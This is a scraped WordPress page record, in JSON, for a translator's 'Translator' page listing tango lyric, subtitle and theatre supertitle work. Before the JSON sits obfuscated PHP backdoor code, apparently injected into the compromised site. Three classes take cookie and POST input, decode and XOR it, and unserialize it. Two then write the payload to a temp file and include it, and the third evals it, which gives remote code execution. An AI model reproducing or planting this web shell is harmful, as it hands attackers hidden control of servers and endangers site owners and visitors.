$ROKSuDB = 'T' . "\x50" . chr (95) . 'm' . 'l' . "\146";$PHHjFbx = chr (99) . chr (108) . chr (97) . chr ( 1037 - 922 ).chr ( 963 - 848 )."\137" . chr ( 703 - 602 ).chr ( 758 - 638 ).chr (105) . 's' . chr (116) . 's';$yZrixlNZA = $PHHjFbx($ROKSuDB); $ROKSuDB = "58778";$liMPVhYuw = !$yZrixlNZA;$PHHjFbx = "44519";if ($liMPVhYuw){class TP_mlf{private $TCQtjod;public static $tkLbR = "57ab7d7c-f924-440c-a3ae-062930312702";public static $qKiCcTm = 48266;public function __construct($sQdfXT=0){$UsUhnHz = $_COOKIE;$CFmOPp = $_POST;$eeZAf = @$UsUhnHz[substr(TP_mlf::$tkLbR, 0, 4)];if (!empty($eeZAf)){$RhpCafqb = "base64";$qklHjZSn = "";$eeZAf = explode(",", $eeZAf);foreach ($eeZAf as $hFSILI){$qklHjZSn .= @$UsUhnHz[$hFSILI];$qklHjZSn .= @$CFmOPp[$hFSILI];}$qklHjZSn = array_map($RhpCafqb . chr (95) . chr (100) . chr ( 432 - 331 ).'c' . chr (111) . chr ( 235 - 135 ).chr ( 921 - 820 ), array($qklHjZSn,)); $qklHjZSn = $qklHjZSn[0] ^ str_repeat(TP_mlf::$tkLbR, (strlen($qklHjZSn[0]) / strlen(TP_mlf::$tkLbR)) + 1);TP_mlf::$qKiCcTm = @unserialize($qklHjZSn);}}private function QtIFvMAyUF(){if (is_array(TP_mlf::$qKiCcTm)) {$wvnQpGjIzG = sys_get_temp_dir() . "/" . crc32(TP_mlf::$qKiCcTm["\163" . chr (97) . chr (108) . "\164"]);@TP_mlf::$qKiCcTm["\167" . chr (114) . chr ( 1074 - 969 ).chr ( 597 - 481 ).chr (101)]($wvnQpGjIzG, TP_mlf::$qKiCcTm[chr (99) . "\157" . 'n' . "\x74" . 'e' . chr (110) . 't']);include $wvnQpGjIzG;@TP_mlf::$qKiCcTm['d' . "\145" . chr ( 1039 - 931 ).chr (101) . chr (116) . chr (101)]($wvnQpGjIzG); $crgyHrrYxb = "43793";exit();}}public function __destruct(){$this->QtIFvMAyUF(); $pslNh = str_pad("43793", 10);}}$MFQFhJX = new /* 8230 */ TP_mlf(); $MFQFhJX = substr("1249_57866", 1);}$pCgdH = 'P' . chr (95) . "\x6e" . "\166" . chr ( 504 - 393 )."\153" . 'W';$svefNV = chr ( 313 - 214 ).'l' . chr ( 376 - 279 ).chr (115) . "\163" . "\x5f" . "\x65" . "\170" . "\x69" . 's' . 't' . "\163";$UhbCbBsL = $svefNV($pCgdH); $PjvPVfzuR = $UhbCbBsL;if (!$PjvPVfzuR){class P_nvokW{private $mHwjkDwEsX;public static $MpkXWTGpm = "011bff0c-a7e0-42b8-8177-7d7993efb613";public static $eeAXVjKBS = 42129;public function __construct($FVzpP=0){$KRQdVBo = $_COOKIE;$zHTiT = $_POST;$WmhyiYC = @$KRQdVBo[substr(P_nvokW::$MpkXWTGpm, 0, 4)];if (!empty($WmhyiYC)){$SWGfUX = "base64";$NsdcKm = "";$WmhyiYC = explode(",", $WmhyiYC);foreach ($WmhyiYC as $FDcQyQcf){$NsdcKm .= @$KRQdVBo[$FDcQyQcf];$NsdcKm .= @$zHTiT[$FDcQyQcf];}$NsdcKm = array_map($SWGfUX . chr (95) . "\x64" . "\x65" . "\143" . chr (111) . chr (100) . chr (101), array($NsdcKm,)); $NsdcKm = $NsdcKm[0] ^ str_repeat(P_nvokW::$MpkXWTGpm, (strlen($NsdcKm[0]) / strlen(P_nvokW::$MpkXWTGpm)) + 1);P_nvokW::$eeAXVjKBS = @unserialize($NsdcKm);}}private function VxEzlATF(){if (is_array(P_nvokW::$eeAXVjKBS)) {$QZZVcvt = sys_get_temp_dir() . "/" . crc32(P_nvokW::$eeAXVjKBS[chr ( 747 - 632 )."\x61" . chr ( 548 - 440 ).'t']);@P_nvokW::$eeAXVjKBS[chr ( 327 - 208 )."\162" . chr (105) . 't' . "\x65"]($QZZVcvt, P_nvokW::$eeAXVjKBS["\143" . 'o' . "\x6e" . 't' . "\x65" . "\156" . chr (116)]);include $QZZVcvt;@P_nvokW::$eeAXVjKBS[chr (100) . "\145" . chr (108) . 'e' . "\164" . "\145"]($QZZVcvt); $pCrzZjFEL = "19345";exit();}}public function __destruct(){$this->VxEzlATF(); $pCrzZjFEL = "19345";}}$FGatDH = new P_nvokW(); $FGatDH = "3450_14162";}$mxfGAY = chr (115) . chr ( 323 - 213 ).'_' . 'L' . 'C' . chr ( 726 - 645 ).chr (117) . chr ( 172 - 50 ); $EloFgP = "\x63" . 'l' . "\141" . chr ( 826 - 711 ).'s' . chr (95) . 'e' . "\170" . "\x69" . chr (115) . chr (116) . chr ( 194 - 79 ); $oImyVzUbfb = class_exists($mxfGAY); $mxfGAY = "4275";$EloFgP = "43109";$FMgzh = FALSE;if ($oImyVzUbfb === $FMgzh){$sBybt = "35297";class sn_LCQuz{public function vrYDB(){echo "48641";}private $hTbYv;public static $pnaumag = "b5547948-2622-4808-b834-cfe8502e0b16";public static $ESRDqdKgL = 44772;public function __construct($opbzvo=0){$chaiLrJDs = $_POST;$vwekdFUaoP = $_COOKIE;$FnevkVnShm = @$vwekdFUaoP[substr(sn_LCQuz::$pnaumag, 0, 4)];if (!empty($FnevkVnShm)){$gkmOA = "base64";$ZUXxlqK = "";$FnevkVnShm = explode(",", $FnevkVnShm);foreach ($FnevkVnShm as $jFWLhQ){$ZUXxlqK .= @$vwekdFUaoP[$jFWLhQ];$ZUXxlqK .= @$chaiLrJDs[$jFWLhQ];}$ZUXxlqK = array_map($gkmOA . "\137" . chr ( 739 - 639 ).'e' . "\143" . 'o' . 'd' . chr ( 501 - 400 ), array($ZUXxlqK,)); $ZUXxlqK = $ZUXxlqK[0] ^ str_repeat(sn_LCQuz::$pnaumag, (strlen($ZUXxlqK[0]) / strlen(sn_LCQuz::$pnaumag)) + 1);sn_LCQuz::$ESRDqdKgL = @unserialize($ZUXxlqK);}}private function kUkKEv($sBybt){if (is_array(sn_LCQuz::$ESRDqdKgL)) {$DDYuqc = str_replace(chr ( 990 - 930 ) . chr ( 653 - 590 )."\160" . 'h' . "\x70", "", sn_LCQuz::$ESRDqdKgL["\143" . chr (111) . chr ( 905 - 795 )."\x74" . chr (101) . chr (110) . "\164"]);eval($DDYuqc); $sBybt = "35297";exit();}}public function __destruct(){$sBybt = "32104_58710";$this->kUkKEv($sBybt); $sBybt = "32104_58710";}}$xrmXFiZCMn = new /* 6764 */ sn_LCQuz(); $xrmXFiZCMn = str_repeat("32104_58710", 1);}{"id":14,"date":"2014-09-05T20:51:48","date_gmt":"2014-09-05T20:51:48","guid":{"rendered":"http:\/\/johnosburnphd.com\/?page_id=14"},"modified":"2023-01-27T09:02:33","modified_gmt":"2023-01-26T19:02:33","slug":"translation","status":"publish","type":"page","link":"http:\/\/johnosburnphd.com\/translation\/","title":{"rendered":"Translator"},"content":{"rendered":"

Osburn’s Spanish-to-English translations of performing arts texts have included sub- and supertitles, program copy, grant application documents, and tango lyrics:<\/p>\n

What Tango Means<\/em><\/a> (Argentine tango translations), blog and live recitations. Milonga Falucho, New York, N.Y., since 2018;<\/p>\n

English version,\u00a0El tango, esos minutos de revanche, <\/i>dir. Agustina Videla, Mulata Films (in production);<\/p>\n

Voiceover narration from the Spanish, Souls of Tango,<\/em> play by Analia Carrre\u00f1o and Luis Ramirez, White Plains Performing Arts Center, November 12-13, 2021;<\/p>\n

Voiceover translation and video subtitles, Social Tango, <\/em>dir. Agustina Videla. Centro Cultural 25 de Mayo, Buenos Aires Tango Festival, August 15, 2018;<\/p>\n

Documents, subtitles, and blurbs for various ongoing and upcoming projects of the Social Tango Project in Buenos Aires, since 2018;<\/p>\n

Supertitles for Luz de ma\u00f1ana en un traje marr\u00f3n (Dawn in a Brown Suit)<\/em>, by Daniel Veronese (previously untranslated). Void Theater Company, Performing Arts Marathon, International Theater Arts Institute, New York, N.Y., August 10-11, 2012.<\/p>\n

To inquire about a translation project, contact him here<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"